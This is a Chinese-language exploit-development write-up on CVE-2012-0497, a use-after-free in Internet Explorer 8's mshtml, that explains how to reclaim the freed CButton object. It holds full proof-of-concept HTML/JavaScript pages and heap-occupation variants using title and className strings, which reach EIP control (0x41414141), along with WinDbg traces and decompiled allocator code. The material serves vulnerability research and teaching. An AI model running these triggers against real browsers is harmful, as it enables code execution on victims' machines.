這裏以CVE-2012-0497爲例,poc如下:
<!doctype html> <html> <head> <script> function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); var eip = window; var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; eip.location = unescape("AA" + data); } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
以上代碼在ie8+win7 32 位下測試,漏洞具體細節不多說,分析後得到的UAF對象大小爲0x58,下面是佔位的代碼:
用title來佔位:
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u4141%u4141"); while (junk.length < (0x100- 6)/2) { junk+=junk; } function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
這樣佔位後的內存如下:
(cdc.eb8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=002d7978 ecx=00000052 edx=00000000 esi=00000000 edi=002dbac8 eip=6ac6e1e0 esp=0208cfb4 ebp=0208d00c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4e5: 6ac6e1e0 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:4141421d=???????? 0:005> !heap -p -a edi address 002dbac8 found in _HEAP @ 250000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 002dbac0 000c 0000 [00] 002dbac8 00054 - (busy) 0:005> dd edi-10 002dbab8 00000000 00000000 75ad7fe1 8c000000 002dbac8 41414141 41414141 41414141 41414141 002dbad8 41414141 41414141 41414141 41414141 002dbae8 41414141 41414141 41414141 41414141 002dbaf8 41414141 41414141 41414141 41414141 002dbb08 41414141 41414141 41414141 41414141 002dbb18 00004141 00000000 75ad7fdd 88000000 002dbb28 73843fb4 00000000 73868f88 00000000
同樣用className來佔位的話:
<!doctype html> <html> <head> <script> var arr_button = new Array(); var junk=unescape("%u4141%u4141"); while (junk.length < (0x100- 6)/2) { junk+=junk; } function helloWorld() { var e=document.createElement('div'); var e0 = null; var e1 = null; var e2 = null; for(i =0; i < 20; i++) { document.createElement('button'); } try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_button[i]= document.createElement("button"); arr_button[i].className= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
佔位後的內存:
irst chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000ffff ebx=00491e50 ecx=00000052 edx=00000000 esi=00000000 edi=004bc3b0 eip=01000000 esp=0254d640 ebp=0254d69c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 01000000 ?? ??? 0:005> !heap -p -a edi address 004bc3b0 found in _HEAP @ 410000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 004bc3a8 000c 0000 [00] 004bc3b0 00058 - (free) 0:005> dd edi 004bc3b0 0000ffff 41414141 41414141 41414141 004bc3c0 41414141 41414141 41414141 41414141 004bc3d0 41414141 41414141 41414141 41414141 004bc3e0 41414141 41414141 41414141 41414141 004bc3f0 41414141 41414141 41414141 41414141 004bc400 41414141 00004141 0ac4ae7f 8c000000 004bc410 41414141 41414141 41414141 41414141 004bc420 41414141 41414141 41414141 41414141
感覺很神奇,爲什麼用className同樣的方式去佔位卻沒有成功,明顯分配的字符串已經被釋放掉了。
可是我們對代碼稍加修改:
arr_div[i]= document.createElement("div");
arr_div[i].className= junk.substring(0,(0x5C-6)/2);
佔位後的內存如下:
First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=0035c780 ecx=00000052 edx=00000000 esi=00000000 edi=0032c3b0 eip=6959e1e0 esp=024cd70c ebp=024cd764 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4e5: 6959e1e0 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:4141421d=???????? 0:005> !heap -p -a edi address 0032c3b0 found in _HEAP @ 280000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0032c3a8 000c 0000 [00] 0032c3b0 00058 - (busy) 0:005> dd edi 0032c3b0 41414141 41414141 41414141 41414141 0032c3c0 41414141 41414141 41414141 41414141 0032c3d0 41414141 41414141 41414141 41414141 0032c3e0 41414141 41414141 41414141 41414141 0032c3f0 41414141 41414141 41414141 41414141 0032c400 41414141 00004141 0c936b32 88000000 0032c410 41414141 41414141 41414141 41414141 0032c420 41414141 41414141 41414141 41414141
那麼前面用title佔位所分配的字節(0x58-6)/2 爲什麼會分配的字節數是0x54呢?安照經典的理論來講,BSTR字符串在內存中應該是如下的佈局:
--------------------------------------------------------
00 00 00 00| 00 00 00 00 ....... | 00 00
--------------------------------------------------------
長度 0x58字節的數據 結尾標識
---------------------------------------------------------
但是看看佔位的內存:
0:005> !heap -p -a edi address 00123ce0 found in _HEAP @ 70000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00123cd8 000c 0000 [00] 00123ce0 00058 - (busy) 0:005> dd edi-10 00123cd0 00610000 00000000 377139ba 88000000 00123ce0 41414141 41414141 41414141 41414141 00123cf0 41414141 41414141 41414141 41414141 00123d00 41414141 41414141 41414141 41414141 00123d10 41414141 41414141 41414141 41414141 00123d20 41414141 41414141 41414141 41414141 00123d30 41414141 00004141 37713986 88000000 00123d40 41414141 41414141 41414141 41414141
大小竟然是0x88000000,很明顯這塊內存並不是我們分配的BSTR字符串,這裏梳理一下,在UAF佔位中,由於對某塊內存的誤釋放(這裏是0x58字節大小的CButton),然後我們需要申請到這塊被釋放的CButton對象內存,然後就可以控制程序的流程。
OK,以ClassName爲例,看看這個過程是如何操作的:
1.找到分配的BSTR字符串:
通過mshtml.dll的一些函數名,可以猜測到函數CElement::SetClassHelper是負責進行這個過程的函數,
給該函數下斷來證明:
(這裏分配的大小爲(0x5c-6)/2)
Breakpoint 0 hit eax=024e9eec ebx=69b6ce7c ecx=024e9ee8 edx=0003d388 esi=69b6ce7c edi=006aa198 eip=69bbdf7b esp=024e9ec8 ebp=024e9edc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CElement::SetClassHelper: 69bbdf7b 8bff mov edi,edi
0:005> dd poi(eax)
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000
0:005> dd poi(eax)-10
006282b4 00000000 4f78d699 8c000000 00000056
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
0:005> !heap -p -a poi(eax)
address 006282c4 found in
_HEAP @ 5d0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
006282b8 000d 0000 [00] 006282c0 0005c - (busy)
上面紅色的內存即BSTR對象,0x56爲數據的大小,整個BSTR佔據的堆內存大小爲0x5c,繼續看看該函數:
int __stdcall CElement::SetClassHelper(int a1, int *a2) { int v2; // edi@1 int result; // eax@1 bool v4; // cl@4 v2 = *a2; result = CBase::AddString(a1, -2147417111, *a2, 0); if ( !result ) { v4 = v2 && *(_WORD *)v2; *(_BYTE *)(a1 + 33) ^= (v4 ^ *(_BYTE *)(a1 + 33)) & 1; } *(_BYTE *)(a1 + 33) &= 0xFDu; return result; }
繼續往下跟:
CBase::AddString》CAttrArray::Set》CAttrArray::Set》CAttrValue::InitVariant
重點在這個函數裏面,我們中斷到_HeapAllocString這個函數看看其參數:
0:005> p eax=00000000 ebx=006282c4 ecx=0000001f edx=024e9e38 esi=024e9e0c edi=024e9e38 eip=69b86f15 esp=024e9df4 ebp=024e9e10 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CAttrValue::InitVariant+0x152: 69b86f15 e8e3f1ffff call mshtml!_HeapAllocString (69b860fd)
0:005> dd esp
024e9df4 006282c4 00000000 024e9e94 00000000
024e9e04 00000000 00000000 0000001f 024e9e48
024e9e14 69b723c3 024e9e94 00000000 006282c4
024e9e24 006aa1a4 69b6ce7c 00690ef0 00000000
024e9e34 00000000 00000000 800103e9 00000000
024e9e44 00000000 024e9e70 69b7230f 800103e9
024e9e54 00000000 024e9e94 00000000 00000000
024e9e64 00000000 006aa198 024e9ee8 024e9ea4
0:005> dd 006282c4
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000
發現第一個參數恰好是我們分配的BSTR對象.
signed int __userpurge _HeapAllocString<eax>(SIZE_T a1<ecx>, int a2<esi>, char *Src) { char *v3; // eax@1 __int16 v4; // cx@2 void *v5; // eax@5 signed int result; // eax@7 SIZE_T Size; // [sp+0h] [bp-4h]@1 Size = a1; v3 = Src; do { v4 = *(_WORD *)v3; v3 += 2; } while ( v4 ); if ( ULongAdd((v3 - (Src + 2)) >> 1, 1u, &Size) < 0 || ULongLongToUInt((int)&Size, 2i64 * Size, (unsigned int *)Size) < 0 ) { v5 = 0; *(_DWORD *)a2 = 0; } else { v5 = HeapAlloc(g_hProcessHeap, 0, Size); *(_DWORD *)a2 = v5; } if ( v5 ) { memcpy(v5, Src, Size); result = 0; } else { result = -2147024882; } return result; }
然後在該函數中計算BSTR對象的大小並調用HeapAlloc分配內存,然後用memcpy將BSTR對象的字符串拷貝到這片內存!
最後這裏分配的內存空間實際上爲0x58大小,即BSTR字符串的大小-4,實際上相當於去掉了BSTR對象的頭部(4個字節)並進行的內存的重新分配和拷貝。
0:005> bp 69b8614e ".printf \"Allocated Buffer Address =0x%0x \\n \",eax;gc"
以上斷點打印出HeapAlloc後的內存並對比最終被重用的內存:
0:005> g Allocated Buffer Address =0x67c3b0 Allocated Buffer Address =0x67c410 Allocated Buffer Address =0x67c470 Allocated Buffer Address =0x6cd2a8 Allocated Buffer Address =0x6cd308 Allocated Buffer Address =0x6cd368 Allocated Buffer Address =0x6cd3c8 Allocated Buffer Address =0x6cd428 Allocated Buffer Address =0x6cd488 Allocated Buffer Address =0x6cd4e8 Allocated Buffer Address =0x6cd548 Allocated Buffer Address =0x6cd5a8 Allocated Buffer Address =0x6cd608 Allocated Buffer Address =0x6cd668 Allocated Buffer Address =0x6cd6c8 Allocated Buffer Address =0x6cd728 Allocated Buffer Address =0x6cd788 Allocated Buffer Address =0x6cd7e8 Allocated Buffer Address =0x6cd848 Allocated Buffer Address =0x6cd8a8 Allocated Buffer Address =0x6cd908 Allocated Buffer Address =0x6cd968 Allocated Buffer Address =0x6cd9c8 Allocated Buffer Address =0x6cda28 Allocated Buffer Address =0x6cda88 Allocated Buffer Address =0x6cdae8 Allocated Buffer Address =0x6cdb48 Allocated Buffer Address =0x6cdba8 Allocated Buffer Address =0x6cdc08 Allocated Buffer Address =0x6cdc68 Allocated Buffer Address =0x6cdcc8 Allocated Buffer Address =0x6cdd28 Allocated Buffer Address =0x6cdd88 Allocated Buffer Address =0x6cdde8 Allocated Buffer Address =0x6cde48 Allocated Buffer Address =0x6cdea8 Allocated Buffer Address =0x6cdf08 Allocated Buffer Address =0x6cdf68 Allocated Buffer Address =0x6cdfc8 Allocated Buffer Address =0x6ce028 Allocated Buffer Address =0x6ce088 Allocated Buffer Address =0x6ce0e8 Allocated Buffer Address =0x6ce148 Allocated Buffer Address =0x6ce1a8 Allocated Buffer Address =0x6ce208 Allocated Buffer Address =0x32c5868 Allocated Buffer Address =0x32c58c8 Allocated Buffer Address =0x32c5928 Allocated Buffer Address =0x32c5988 Allocated Buffer Address =0x32c59e8 Allocated Buffer Address =0x32c5a48 Allocated Buffer Address =0x32c5aa8 Allocated Buffer Address =0x32c5b08 Allocated Buffer Address =0x32c5b68 Allocated Buffer Address =0x32c5bc8 Allocated Buffer Address =0x32c5c28 Allocated Buffer Address =0x32c5c88 Allocated Buffer Address =0x32c5ce8 Allocated Buffer Address =0x32c5d48 Allocated Buffer Address =0x32c5da8 Allocated Buffer Address =0x32c5e08 Allocated Buffer Address =0x32c5e68 Allocated Buffer Address =0x32c5ec8 Allocated Buffer Address =0x32c5f28 Allocated Buffer Address =0x32c5f88 Allocated Buffer Address =0x32c5fe8 Allocated Buffer Address =0x32c6048 Allocated Buffer Address =0x32c60a8 Allocated Buffer Address =0x32c6108 Allocated Buffer Address =0x32c6168 Allocated Buffer Address =0x32c61c8 Allocated Buffer Address =0x32c6228 Allocated Buffer Address =0x32c6288 Allocated Buffer Address =0x32c62e8 Allocated Buffer Address =0x32c6348 Allocated Buffer Address =0x32c63a8 Allocated Buffer Address =0x32c6408 Allocated Buffer Address =0x32c6468 Allocated Buffer Address =0x32c64c8 Allocated Buffer Address =0x32c6528 (d6c.d50): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=006a5918 ecx=00000052 edx=00000000 esi=00000000 edi=0067c3b0 eip=69b5e1e0 esp=024ed3cc ebp=024ed424 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4e5: 69b5e1e0 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:4141421d=????????
可以看出0x67c3b0即我們第一次分配的內存,已經被成功的佔位了!
另外還需要說明前面在調用title的時候用(0x58-6)/2也可以成功的佔位,不過這次佔位確實分配的內存是0x54而不是0x58,不過由於這塊內存小於0x58而且最靠近0x58,因此根據堆分配策略也會將
釋放的CButton內存分配給title。